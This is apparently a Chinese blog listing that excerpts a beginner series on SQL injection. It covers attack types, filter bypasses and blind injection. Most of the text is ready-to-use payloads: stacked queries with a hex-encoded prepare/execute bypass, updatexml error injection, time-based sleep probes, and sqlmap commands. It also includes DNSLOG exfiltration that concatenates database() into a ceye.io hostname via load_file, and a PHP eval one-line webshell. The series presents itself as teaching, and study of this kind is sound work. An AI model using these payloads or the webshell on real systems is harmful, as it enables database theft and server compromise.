SQL注入基础入门——07、总结

漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样,如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同(增删改查等) 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限:文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针(增删改查等) 防护注入代码过滤、WAF等

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——06、绕过注入过滤的几种方法(堆叠、二次、DNSLOG、高权限)

几种过滤 过滤关键词,如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句; ;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤,因此可以将列名改为flag再输出 ## 或者,采用如下方法: ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入(如:注册——登录——修改); 受到攻击的sql语句: update user set passwd='新密码' where username='用户名' and passwd='旧密码' 密码一般会被加密,不好入手,因此选择用户名攻击: ## 空格被过滤 x"^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显,相比盲注更快,但适用范围不广,因为要用到load_file()函数,需要root权限,并且secure_file_priv需要为空,且需要操作系统为Windows(\\为unc路径)。 ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa')); select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa')); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库,可进行文件读写;后者不行。 ⚠️所以,某些注入点可以读写文件。 # 判断是否高权限 python sqlmap.py -u "http://XXX?id=1" --is-dba 写入一句话后门 <?php eval($_POST['x']); ?>

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——05、盲注

order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like 'ro%' regexp '^user[a-z]' #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1>2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1>2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如: ?id=1' and length(database())=8--+ ?id=1' and left(database(),1)>'a'--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入+万能语句...

October 6, 2021 · 1 min · alvazu

SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能

Sqlmap其他注入 在使用SQLMap进行POST注入时,可以使用post.txt注入,而不是使用--data参数,因为使用txt方式注入使用的是真实的数据包,而--data使用的是SQLMap自带的请求头; 在注入点处用星号标记,例如host: XXX*; 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句: select * from admin where username='$user' and password='$pass' ; 使$user = “admin’ or ‘1’=‘1”,得到 select * from admin where username='admin' or '1'='1' and password='$pass' ; host注入 在HTTP头中,把order by 4(payload)作为host项传递。 XFF注入 例如,某些网站会验证用户的IP地址来判断是否放行;在日志记录时会在数据库中记录HTTP头信息,因此可能存在注入点。如PHP正确获取客户端IP地址。 以下三个参数可能存在注入点: HTTP_CLIENT_IP:存在于http请求的header HTTP_X_FORWARDED_FOR:请求转发路径,客户端IP,代理1IP,代理2IP…… HTTP_X_REAL_IP:这个用得比较少,暂不讨论。 这三个值都是从HTTP请求头获取的,所以并不可靠! 根据功能区分注入类型 例如,搜索sql如下: select * from zzz_user where name like '%$name%' 字符串相关的sql判断语句会包含引号等等。 ⚠️注意数字、字母、JSON类型字符串。

October 6, 2021 · 1 min · alvazu

SQL注入基础入门——01、几种常见的注入形式

常用工具:SQLmap 数据库类型判断 SQL注入语句判断(配合工具) 搭建组合、信息搜集 端口扫描 一、Access注入(较少见,没有数据库名) 猜测有多少列(order by 22) 22正常,23错误 联合注入/暴力注入(union select 1,2,3,4,…,22 from admin) 此处猜测表名为admin,此处暴力破解,配合抓包工具 > 使用Burp Suite的变量功能,批量发送数据包,批量检查返回包来确定 <ol start="2"> <li> 为测试页面回显,依次在1,2,username,password,…,22写上列名<br /> 此处也需要暴力破解列名 </li> </ol> 偏移注入:解决表名获取到但列名获取不到的情况 表名获取不到,则必须要字典暴力破解 依次测试下列语句,直到不再报错: union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示,则admin中列的个数:22-16=6 4. 二级偏移16-6=10/三级偏移10-6=4/… union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a....

October 4, 2021 · 2 min · alvazu